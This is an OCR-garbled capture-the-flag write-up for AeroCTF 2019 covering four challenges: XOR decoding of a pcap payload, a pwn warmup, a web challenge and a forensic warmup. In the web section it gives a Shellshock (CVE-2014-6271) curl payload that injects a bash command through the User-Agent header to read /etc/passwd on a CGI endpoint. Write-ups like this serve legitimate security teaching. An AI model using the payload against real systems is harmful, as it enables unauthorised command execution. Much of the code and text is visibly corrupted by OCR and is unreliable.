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0x01: [Forensic] undefined protocol

B HJLH: We managed to get traffic from the machine of one of the hackers who hacked our navigation systems, but they use some
kind of strange protocol over TCP. We were not able to disassemble it, maybe you can find out what he was transmitting?
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Ho. Time Source Destination Protocol Lengtl
80 8.11486540@ 10.8.0.183 19.0.0.102
79 8.114832724 19.0.0.182 190.9.0.183 TCP 6
78 8.103654361 19.0.0.182 190.9.0.183 TCP 6
76 8.103346247 19.9.8.183 190.9.0.102 TCP 8
75 8.103186641 19.0.8.182 190.9.0.183 TCP 6
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enc = "e, ($+7 6.+, (15e.!7*26655e -1leT 1+.4+, (150d+, (15e (*&) .B'rl&¥#v'rses''ulwp +
key = €9
flag = '*
for i in enc:
flag += chr(ord(i) * key)
print flag
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File Edit Shell Debug Options Window Help
Python 2.7.10 (default, May 23 2015, 09:40:32) [MSC v.1l500 32 bit (Intel)] omn wi
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Type "copyright", "credits™ or "license()"™ for more information.
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aa = "}b7acf3bT6cEbbla25e4e723b40d40d49 {orek® kero{94d04d04b327e4e52a0bb6cETb3EcaTb}

print aa[::-1] s

RAHIRHREERKR: Aero{94d04d04b327e4e52a0bb6c67b3fca7b}

0x02: [Warmup] pwn_warmup

Now they have made a server with memes, it has authorization. See if you can get around it.

Server: 185.66.87.233 5004
file - Mega
file - Google Drive
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0x03: [Web 100] board tracking system

We develop advanced board tracking system, is it vulnerable?
Site: http://81.23.11.159:8080/
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Google [ICTFEE [writeup [ Crypto [reverse Tipwn [web

Welcome to control plane application of Aeroctf system.

On a dashboard you can see loading our system
Stats:

Sat Mar 16 13:17:28 UTC 2019 13:17:28 up 100 davs, 22:46, 0 users,
muaqguat i <3 kha banh
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MISC

linux

load averaze: 0.00, 0.00, 0.00
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1| <html>

2 <head>

3 Latyler

4 body, pre |

5 color: #7b7bTh;

6 font: 300 16px/25mx “Roboto”, Helwetica, Arial, sans—serif;
T I

8 fatylel

9 <meta name="generator” comtent="viZhtml">

10 <fheads

11 <body>

12 <br

13 Welcome to comtrol plane application of Aeroctf system </ bri
14 <hr

15 <'brx

16 On a dashboard you can see loading our system</br:

17 <ibr
18 Stats:
19 <ibr
20 {iframe frameborder=0 width=800 height=600 =sr="/cgi-bin/=tats" >4/ 1frame}
21 <Sbody
22 < html

A] LLE FiX4Mcgi-bin/stats google 7] LA FiX N CVE

CVE-2014-6271 Bash{giFF|H L& - SecPulse.COM | Z & fik ¥
https://www.secpulse.com/archives/917.html

B J5 cat /etc/passwd ik AT LA Z Flflag

Fff 8 —A™payload:

curl -H'user-agent ?) {: ;}; echo; echo; / bin / bash -c’cat / etc / passwd™http://81.23.11.159: 8080 / cgi-bin / stats

0x04: [Warmup] forensic_warmup

Again, these memes, we have even stopped talking to them. Just look at it, they seem to be crazy.
file - MEGA
file - Google Drive
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}
with (
for line in f:

cs line.split()

char

for ¢ in cs:

char table[c]
flag ( (char, 5))

print(flag)

SEEHE:
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